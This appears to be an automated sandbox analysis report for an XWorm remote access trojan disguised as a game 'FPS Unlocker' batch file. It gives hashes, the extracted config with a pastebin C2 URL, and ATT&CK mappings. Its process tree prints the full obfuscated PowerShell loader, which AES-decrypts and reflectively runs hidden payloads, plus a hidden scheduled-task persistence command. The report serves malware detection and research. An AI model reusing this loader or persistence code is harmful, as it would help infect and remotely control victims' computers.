xworm | 5ab4907cb69c12aba76ffd0df1d013abf6caee8c9f9b82855ed548e5e6aba649

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10/10/2024, 05:13

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General

Target

FPS Unlocker.bat
Size

58KB
MD5

fdcd595fc134f6bd095d5b34ffd3b71f
SHA1

ba04fa3f61319022e0c440f1824cd3de9b31942b
SHA256

5ab4907cb69c12aba76ffd0df1d013abf6caee8c9f9b82855ed548e5e6aba649
SHA512

810903554bd118c0496b3b057bb52ee65a61fc77bb93b2f278e81542ff24087a7eec3b3d6f0dd4dffea8f6c8afbbbbbeb4479a11c7eef5c6a632e200bbe4f6a1
SSDEEP

1536:LT5d8DaHBOodkL16YbyEjEiQQ/MhQbE55q5YsmrI5e:LLBH21DjE/hQbEqzLe

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

00BaklpoEsEvi6Pr

Attributes

Install_directory
%AppData%
install_file
Fortnite.exe
pastebin_url
https://pastebin.com/raw/mUZNKkBb

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/100-49-0x000001C2C4280000-0x000001C2C4290000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 8 IoCs

flow	pid	Process
22	100	powershell.exe
24	100	powershell.exe
28	100	powershell.exe
40	100	powershell.exe
41	100	powershell.exe
47	100	powershell.exe
48	100	powershell.exe
53	100	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
556	powershell.exe
700	powershell.exe
100	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Fortnite.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Fortnite.lnk	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
100	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	pastebin.com
22	pastebin.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5\	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
556	powershell.exe
556	powershell.exe
700	powershell.exe
700	powershell.exe
100	powershell.exe
100	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	556	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeIncreaseQuotaPrivilege	700	powershell.exe
Token: SeSecurityPrivilege	700	powershell.exe
Token: SeTakeOwnershipPrivilege	700	powershell.exe
Token: SeLoadDriverPrivilege	700	powershell.exe
Token: SeSystemProfilePrivilege	700	powershell.exe
Token: SeSystemtimePrivilege	700	powershell.exe
Token: SeProfSingleProcessPrivilege	700	powershell.exe
Token: SeIncBasePriorityPrivilege	700	powershell.exe
Token: SeCreatePagefilePrivilege	700	powershell.exe
Token: SeBackupPrivilege	700	powershell.exe
Token: SeRestorePrivilege	700	powershell.exe
Token: SeShutdownPrivilege	700	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeSystemEnvironmentPrivilege	700	powershell.exe
Token: SeRemoteShutdownPrivilege	700	powershell.exe
Token: SeUndockPrivilege	700	powershell.exe
Token: SeManageVolumePrivilege	700	powershell.exe
Token: 33	700	powershell.exe
Token: 34	700	powershell.exe
Token: 35	700	powershell.exe
Token: 36	700	powershell.exe
Token: SeIncreaseQuotaPrivilege	700	powershell.exe
Token: SeSecurityPrivilege	700	powershell.exe
Token: SeTakeOwnershipPrivilege	700	powershell.exe
Token: SeLoadDriverPrivilege	700	powershell.exe
Token: SeSystemProfilePrivilege	700	powershell.exe
Token: SeSystemtimePrivilege	700	powershell.exe
Token: SeProfSingleProcessPrivilege	700	powershell.exe
Token: SeIncBasePriorityPrivilege	700	powershell.exe
Token: SeCreatePagefilePrivilege	700	powershell.exe
Token: SeBackupPrivilege	700	powershell.exe
Token: SeRestorePrivilege	700	powershell.exe
Token: SeShutdownPrivilege	700	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeSystemEnvironmentPrivilege	700	powershell.exe
Token: SeRemoteShutdownPrivilege	700	powershell.exe
Token: SeUndockPrivilege	700	powershell.exe
Token: SeManageVolumePrivilege	700	powershell.exe
Token: 33	700	powershell.exe
Token: 34	700	powershell.exe
Token: 35	700	powershell.exe
Token: 36	700	powershell.exe
Token: SeIncreaseQuotaPrivilege	700	powershell.exe
Token: SeSecurityPrivilege	700	powershell.exe
Token: SeTakeOwnershipPrivilege	700	powershell.exe
Token: SeLoadDriverPrivilege	700	powershell.exe
Token: SeSystemProfilePrivilege	700	powershell.exe
Token: SeSystemtimePrivilege	700	powershell.exe
Token: SeProfSingleProcessPrivilege	700	powershell.exe
Token: SeIncBasePriorityPrivilege	700	powershell.exe
Token: SeCreatePagefilePrivilege	700	powershell.exe
Token: SeBackupPrivilege	700	powershell.exe
Token: SeRestorePrivilege	700	powershell.exe
Token: SeShutdownPrivilege	700	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeSystemEnvironmentPrivilege	700	powershell.exe
Token: SeRemoteShutdownPrivilege	700	powershell.exe
Token: SeUndockPrivilege	700	powershell.exe
Token: SeManageVolumePrivilege	700	powershell.exe
Token: 33	700	powershell.exe
Token: 34	700	powershell.exe
Token: 35	700	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
100	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3896 wrote to memory of 556	3896	cmd.exe	88
PID 3896 wrote to memory of 556	3896	cmd.exe	88
PID 556 wrote to memory of 700	556	powershell.exe	90
PID 556 wrote to memory of 700	556	powershell.exe	90
PID 556 wrote to memory of 2108	556	powershell.exe	92
PID 556 wrote to memory of 2108	556	powershell.exe	92
PID 2108 wrote to memory of 4960	2108	WScript.exe	93
PID 2108 wrote to memory of 4960	2108	WScript.exe	93
PID 4960 wrote to memory of 100	4960	cmd.exe	95
PID 4960 wrote to memory of 100	4960	cmd.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FPS Unlocker.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('02dT/qDjBObYCIde39bhpxP7Rv4WFyCQXO19DwqYNvk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/DJ3kbH9oCvlgtuTzC7x8A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RiEgk=New-Object System.IO.MemoryStream(,$param_var); $UYezQ=New-Object System.IO.MemoryStream; $vneVX=New-Object System.IO.Compression.GZipStream($RiEgk, [IO.Compression.CompressionMode]::Decompress); $vneVX.CopyTo($UYezQ); $vneVX.Dispose(); $RiEgk.Dispose(); $UYezQ.Dispose(); $UYezQ.ToArray();}function execute_function($param_var,$param2_var){ $eLMOd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $dGEdy=$eLMOd.EntryPoint; $dGEdy.Invoke($null, $param2_var);}$UZgKG = 'C:\Users\Admin\AppData\Local\Temp\FPS Unlocker.bat';$host.UI.RawUI.WindowTitle = $UZgKG;$hmELN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($UZgKG).Split([Environment]::NewLine);foreach ($vRlkd in $hmELN) { if ($vRlkd.StartsWith(':: ')) { $RMfcd=$vRlkd.Substring(3); break; }}$payloads_var=[string[]]$RMfcd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_255_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_255.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:700
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_255.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2108
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_255.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4960
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('02dT/qDjBObYCIde39bhpxP7Rv4WFyCQXO19DwqYNvk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/DJ3kbH9oCvlgtuTzC7x8A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RiEgk=New-Object System.IO.MemoryStream(,$param_var); $UYezQ=New-Object System.IO.MemoryStream; $vneVX=New-Object System.IO.Compression.GZipStream($RiEgk, [IO.Compression.CompressionMode]::Decompress); $vneVX.CopyTo($UYezQ); $vneVX.Dispose(); $RiEgk.Dispose(); $UYezQ.Dispose(); $UYezQ.ToArray();}function execute_function($param_var,$param2_var){ $eLMOd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $dGEdy=$eLMOd.EntryPoint; $dGEdy.Invoke($null, $param2_var);}$UZgKG = 'C:\Users\Admin\AppData\Roaming\startup_str_255.bat';$host.UI.RawUI.WindowTitle = $UZgKG;$hmELN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($UZgKG).Split([Environment]::NewLine);foreach ($vRlkd in $hmELN) { if ($vRlkd.StartsWith(':: ')) { $RMfcd=$vRlkd.Substring(3); break; }}$payloads_var=[string[]]$RMfcd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eaa37f52aea06b09f25bf372644caa78

SHA1
3169bed248b204a5ac430bc1dee92e156b586cbb

SHA256
40dd61cdf8dcaa558901712c6c0377cfe0c30cf5db14d2d951c556a107dc6ec2

SHA512
125e7b974953efb0d631a00a67742da3abc60c5231435392b4668299aa10cbda08063fe39f0ab2e9f5c933ddf65f58e097e75cb9b8e95b6dfd42ea1cf171a0de

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ygilles2.4kr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpB939.tmp

Filesize
100KB

MD5
1b942faa8e8b1008a8c3c1004ba57349

SHA1
cd99977f6c1819b12b33240b784ca816dfe2cb91

SHA256
555ccb7ecd9ae52a75135fdd81ab443a49d5785b0621ed6468d28c4234e46ccc

SHA512
5aee3d59478d41ddd5885c99b394c9c4983064e2b3528db1a3f7fc289662bced4f57d072517bbe7573c6d1789435e987ef1aa9cc91f372bcfd30bc016675fa43

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_255.bat

Filesize
58KB

MD5
fdcd595fc134f6bd095d5b34ffd3b71f

SHA1
ba04fa3f61319022e0c440f1824cd3de9b31942b

SHA256
5ab4907cb69c12aba76ffd0df1d013abf6caee8c9f9b82855ed548e5e6aba649

SHA512
810903554bd118c0496b3b057bb52ee65a61fc77bb93b2f278e81542ff24087a7eec3b3d6f0dd4dffea8f6c8afbbbbbeb4479a11c7eef5c6a632e200bbe4f6a1

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_255.vbs

Filesize
115B

MD5
00b6d4b686b4c77d3df162d1d0e1690a

SHA1
58ecd61148c0a5ced748fd3f59dae56c58bd07d2

SHA256
9dbe56a8dc1f928f752db0e772fb00a11c9047a5ea7a5a9473cb571a89f02891

SHA512
39d630b94c4b9f6a4e03bb5478d1a4e31fb404835282698c810b3861af5ad9c72a778cc0030cd7744c9bb4441e3598b1c5549b8344de08da37d913ef4046b040

Download Submit
memory/100-56-0x000001C2C4840000-0x000001C2C487A000-memory.dmp

Filesize
232KB

Download
memory/100-49-0x000001C2C4280000-0x000001C2C4290000-memory.dmp

Filesize
64KB

Download
memory/100-65-0x000001C2C48C0000-0x000001C2C48CC000-memory.dmp

Filesize
48KB

Download
memory/100-64-0x000001C2C6100000-0x000001C2C6628000-memory.dmp

Filesize
5.2MB

Download
memory/100-63-0x000001C2C5000000-0x000001C2C50B0000-memory.dmp

Filesize
704KB

Download
memory/100-61-0x000001C2C4530000-0x000001C2C453A000-memory.dmp

Filesize
40KB

Download
memory/100-55-0x000001C2C4510000-0x000001C2C451C000-memory.dmp

Filesize
48KB

Download
memory/556-14-0x000002C5D04F0000-0x000002C5D04FE000-memory.dmp

Filesize
56KB

Download
memory/556-11-0x00007FFE63930000-0x00007FFE643F1000-memory.dmp

Filesize
10.8MB

Download
memory/556-12-0x00007FFE63930000-0x00007FFE643F1000-memory.dmp

Filesize
10.8MB

Download
memory/556-50-0x00007FFE63930000-0x00007FFE643F1000-memory.dmp

Filesize
10.8MB

Download
memory/556-13-0x000002C5B6080000-0x000002C5B6088000-memory.dmp

Filesize
32KB

Download
memory/556-0-0x00007FFE63933000-0x00007FFE63935000-memory.dmp

Filesize
8KB

Download
memory/556-6-0x000002C5B6090000-0x000002C5B60B2000-memory.dmp

Filesize
136KB

Download
memory/700-25-0x00007FFE63930000-0x00007FFE643F1000-memory.dmp

Filesize
10.8MB

Download
memory/700-30-0x00007FFE63930000-0x00007FFE643F1000-memory.dmp

Filesize
10.8MB

Download
memory/700-27-0x00007FFE63930000-0x00007FFE643F1000-memory.dmp

Filesize
10.8MB

Download
memory/700-26-0x00007FFE63930000-0x00007FFE643F1000-memory.dmp

Filesize
10.8MB

Download